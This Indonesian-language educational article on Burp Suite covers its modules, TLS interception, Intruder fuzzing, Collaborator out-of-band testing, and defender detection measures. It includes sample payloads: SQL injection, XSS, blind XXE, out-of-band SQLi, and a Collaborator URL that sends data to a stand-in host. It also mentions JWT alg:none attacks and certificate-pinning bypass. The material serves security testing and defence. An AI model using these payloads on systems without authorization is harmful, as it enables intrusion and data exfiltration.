Konteks Etis & Legal
Burp Suite adalah alat profesional untuk pengujian keamanan aplikasi web. Penggunaan terhadap aplikasi yang tidak Anda miliki atau tanpa izin tertulis eksplisit adalah ilegal. Seluruh pembahasan ini bersifat edukasional untuk defender, pengembang, dan auditor keamanan.
𧬠Arsitektur Inti Burp Suite
Burp Suite bukan sekadar proxy biasa. Ia adalah platform terintegrasi yang dirancang untuk menginterogasi aplikasi web modernβtermasuk REST API, GraphQL, WebSocket, dan aplikasi single-page (SPA). Inti dari Burp adalah proxy interception yang memungkinkan pentester melihat, memodifikasi, dan mengulang setiap permintaan HTTP/HTTPS antara browser dan server.
Komponen Modular
| Modul | Fungsi | Detail Teknis |
|---|---|---|
| Proxy | Menangkap dan memodifikasi traffic HTTP/HTTPS, WebSocket, dan HTTP/2. | Bekerja sebagai man-in-the-middle lokal. Sertifikat CA Burp diinstal di browser untuk mendekripsi TLS. Mendukung regex match/replace, scope-based interception, invisible proxy untuk non-browser clients. |
| Repeater | Mengedit dan mengirim ulang permintaan individual secara manual. | Menyimpan history permintaan yang telah dimodifikasi, mendukung tab untuk banyak request secara paralel, perbandingan respons. |
| Intruder | Otomatisasi serangan terparameterisasi: brute-force, fuzzing, enumerasi. | Mendukung payload list, generator, dan iterasi posisi. Attack type: Sniper, Battering ram, Pitchfork, Cluster bomb. |
| Scanner (Pro) | Pemindai kerentanan otomatis berbasis krawling dan audit. | Mengidentifikasi SQLi, XSS, SSRF, XXE, deserialisasi tidak aman, dan lainnya. Audit aktif mengirim payload uji; pasif menganalisis traffic. |
| Spider / Crawler | Menjelajahi aplikasi untuk menemukan konten dan endpoint. | Crawler modern berbasis Chromium yang mengeksekusi JavaScript dan menganalisis DOM, menangani SPA. |
| Repeater (WebSocket) | Mengirim dan memodifikasi pesan WebSocket. | Mendukung text dan binary frames, memungkinkan fuzzing real-time. |
| Decoder | Encoding/decoding data dalam berbagai format. | Base64, URL, Hex, GZip, JSON, dll. Berguna untuk menganalisis payload. |
| Sequencer | Menganalisis keacakan token (session, CSRF). | Melakukan tes statistik (FIPS, entropy) pada sampel token untuk mendeteksi kelemahan. |
| Extender | API untuk plugin (Java, Python, Ruby) dan integrasi BApp store. | Ratusan ekstensi komunitas: SQLMap, GraphQL, JWT, kerberos, dll. |
| Collaborator | Server eksternal untuk mendeteksi interaksi out-of-band (OOB). | Digunakan untuk mendeteksi blind SSRF, XXE, DNS exfiltration, SMTP injection. Server menghasilkan payload unik dan memonitor interaksi yang masuk. |
βοΈ Cara Kerja Proxy Interception & TLS Decryption
- Burp mendengarkan pada port lokal (default
127.0.0.1:8080). - Browser dikonfigurasi untuk mengarahkan traffic ke proxy tersebut.
- Untuk HTTPS, Burp menghasilkan sertifikat TLS per-host yang ditandatangani oleh CA Root Certificate yang diimpor ke trust store browser.
- Setiap koneksi: Browser β Burp (TLS dengan sertifikat Burp) dan Burp β Server (TLS asli). Burp mendekripsi, menampilkan plaintext, lalu mengenkripsi ulang.
- Dengan konfigurasi invisible proxy, Burp bisa menangkap traffic dari aplikasi non-browser (mobile apps, IoT) tanpa konfigurasi proxy eksplisit di klien, dengan cara memodifikasi entri hosts file atau ARP spoofing dan meneruskan koneksi berdasarkan header Host.
π₯ Teknik Serangan dengan Burp Suite
1. Fuzzing & Brute-Force dengan Intruder
Intruder memungkinkan fuzzing parameter secara sistematis:
- Sniper: Satu payload untuk satu posisi pada satu waktu.
- Battering Ram: Satu payload yang sama dimasukkan ke banyak posisi.
- Pitchfork: Beberapa payload list berbeda, masing-masing untuk satu posisi, dipasangkan secara paralel (index ke-1, ke-2, β¦).
- Cluster Bomb: Semua kombinasi dari beberapa payload list (kartesian).
Contoh penggunaan:
- Brute-force password login: posisikan
usernamedanpassword, gunakan Cluster Bomb dengan daftar user dan password. - Enumerasi ID:
/api/user/Β§1Β§/profileuntuk menemukan user yang ada. - Fuzzing parameter untuk menemukan kerentanan: injeksi karakter spesial (
',",<,../) dan lihat perbedaan respons.
2. Session Handling & Macro
Aplikasi modern sering menggunakan token anti-CSRF, header kustom, atau multi-step login. Burp menyediakan Session Handling Rules yang bisa:
- Mengeksekusi macro (rekaman request) sebelum setiap request untuk mendapatkan token baru.
- Mengekstrak token dari respons dengan regex dan menyisipkannya ke request berikutnya.
- Menangani cookie secara otomatis.
Ini vital untuk pengujian aplikasi yang kompleks.
3. Blind Vulnerability Detection via Collaborator
Collaborator adalah server Burp yang menghasilkan subdomain unik setiap kali digunakan. Payload injeksi seperti:
http://evil.burpcollaborator.net/?data=...
atau di header Host, parameter DNS, dsb. Jika server atau parser internal berinteraksi dengan domain tersebut (DNS lookup, HTTP request), Burp mencatatnya, membuktikan kerentanan blind.
- Blind XXE:
<x xmlns:x="http://evil.burpcollaborator.net/xxe"> - Blind SSRF: memaksa server mengambil
http://unique.burpcollaborator.net - Out-of-band SQLi:
SELECT LOAD_FILE('\\\\unique.burpcollaborator.net\\x')(MySQL/Windows)
4. WebSocket Manipulation
Burp menangkap WebSocket handshake (upgrade HTTP) dan kemudian frame individual. Di Repeater, Anda bisa mengirim frame baru, mengedit yang sudah ada, dan melihat respons real-time. Ini penting untuk menguji GraphQL subscriptions, chat apps, atau real-time feeds.
5. GraphQL Testing
Dengan ekstensi InQL, Burp dapat:
- Mengimpor skema GraphQL (via introspection query).
- Menampilkan query, mutasi, dan subscription dalam antarmuka terstruktur.
- Mengirim query ke Repeater untuk modifikasi manual.
- Memindai kerentanan seperti field suggestion, batching attack, dan depth limiting.
6. API & Mobile App Testing
Mobile apps sering menggunakan HTTPS dengan certificate pinning. Burp dapat diintegrasikan dengan Frida untuk mem-bypass pinning, atau menggunakan Burp Mobile Assistant untuk mengarahkan traffic. Untuk API tanpa UI, Repeater digunakan langsung ke endpoint REST/JSON.
β οΈ Eksploitasi Kerentanan Umum dengan Burp
| Kerentanan | Teknik Burp |
|---|---|
| SQL Injection | Intruder: kirim ' OR 1=1-- payload, atau gunakan ekstensi SQLMap yang mengintegrasikan temuan Scanner ke sqlmap. |
| Cross-Site Scripting (XSS) | Scanner mendeteksi XSS reflektif/stored; Intruder untuk payload <script>alert(1)</script> di berbagai parameter. |
| XXE (XML External Entity) | Repeater: edit body XML, tambahkan entitas eksternal, gunakan Collaborator untuk deteksi. |
| SSRF (Server-Side Request Forgery) | Intruder fuzzing URL di parameter ?url=, ?path=, atau body; manfaatkan Collaborator. |
| IDOR (Insecure Direct Object Reference) | Intruder untuk enumerasi ID numerik atau UUID, periksa perbedaan respons atau data. |
| JWT Attacks | Ekstensi JWT Editor untuk memodifikasi header (alg: none), payload (admin=true), atau melakukan key confusion attack. |
| Deserialization | Scanner mendeteksi parameter yang tampak seperti serialized object; manual coba payload ysoserial. |
| Race Conditions | Repeater group: kirim beberapa request secara paralel untuk menguji time-of-check-to-time-of-use (TOCTOU). |
π Deteksi & Logging Aktivitas Burp (Defender Perspective)
Sebagai defender, mendeteksi penggunaan Burp terhadap aplikasi Anda adalah bagian dari monitoring keamanan.
Indikator penggunaan Burp:
- User-Agent: Kadang berisi βBurpβ tapi bisa diubah. Default tidak selalu mengandung Burp.
- Header tidak biasa: Burp terkadang menambahkan header seperti
X-Forwarded-ForatauX-Real-IPjika dikonfigurasi. - Traffic scanning pattern: Banjir request dengan parameter fuzzing (karakter spesial, payload SQL, XSS) dalam waktu singkat. WAF dapat mendeteksi.
- Collaborator Domain: Jika Burp Collaborator digunakan, domain seperti
*.burpcollaborator.netmungkin muncul di DNS logs, HTTP logs, atau SMTP logs. Blokir domain ini. - TLS Fingerprint: JA3 hash dari Burp (Java TLS stack) bisa berbeda dari browser biasa. WAF modern dapat memblokir berdasarkan JA3 yang tidak diinginkan.
- Koneksi ke port 8080 atau 8443: Server mungkin melihat koneksi dari IP dengan port sumber tidak standar, tapi ini bukan indikator kuat.
- Rate Limiting Bypass Attempts: Burp Intruder bisa menghasilkan ribuan request. Rate limiting yang agresif bisa menghambat.
Countermeasures:
- WAF (Web Application Firewall) dengan aturan ketat untuk mendeteksi payload umum Burp.
- Rate limiting berbasis IP dan token.
- Filter header tidak standar.
- Blokir domain Collaborator di firewall DNS.
- Gunakan certificate pinning di aplikasi mobile (meski bisa di-bypass, meningkatkan biaya serangan).
βοΈ Dual-Use Spectrum
DEFENSE ββββββββββββββββββββββββββββββββββββββββββββΊ OFFENSE
Developer Auditor Black Hat
β β β
Menguji endpoint Membuktikan Mengeksploitasi
API sendiri kerentanan SQLi/RCE pada
menggunakan Repeater ke klien aplikasi publik
β β β
β β βΌ
βΌ βΌ Automated
QA automation Red team: scanning untuk
dengan Intruder enumerasi defacement,
untuk boundary admin panel, data breach
testing SSRF lateral
π Koneksi dalam Vault
- metasploit β Burp dapat menemukan kerentanan web yang bisa di-exploit dengan modul Metasploit (misal:
exploit/multi/http/struts2_code_exec). - shodan β Temukan server web yang terekspos, lalu gunakan Burp untuk mengauditnya.
- bloodhound β Burp bisa digunakan untuk menyerang aplikasi internal yang terintegrasi AD (misal: portal intranet) setelah mendapatkan akses via lateral movement.
- cobalt-strike β Setelah mendapatkan sesi Beacon, operator dapat menjalankan proxy reverse untuk mengarahkan traffic melalui korban ke aplikasi internal, lalu mengaudit dengan Burp.
π Referensi
- PortSwigger, Burp Suite Documentation & Web Security Academy.
- Stuttard, D., & Pinto, M. (2011). The Web Application Hackerβs Handbook. Wiley.
- OWASP Testing Guide v5.
- MITRE ATT&CK: T1190 (Exploit Public-Facing Application), T1595 (Active Scanning).
Burp Suite Deep Dive | Web Application Pentest | Proxy & Interception Framework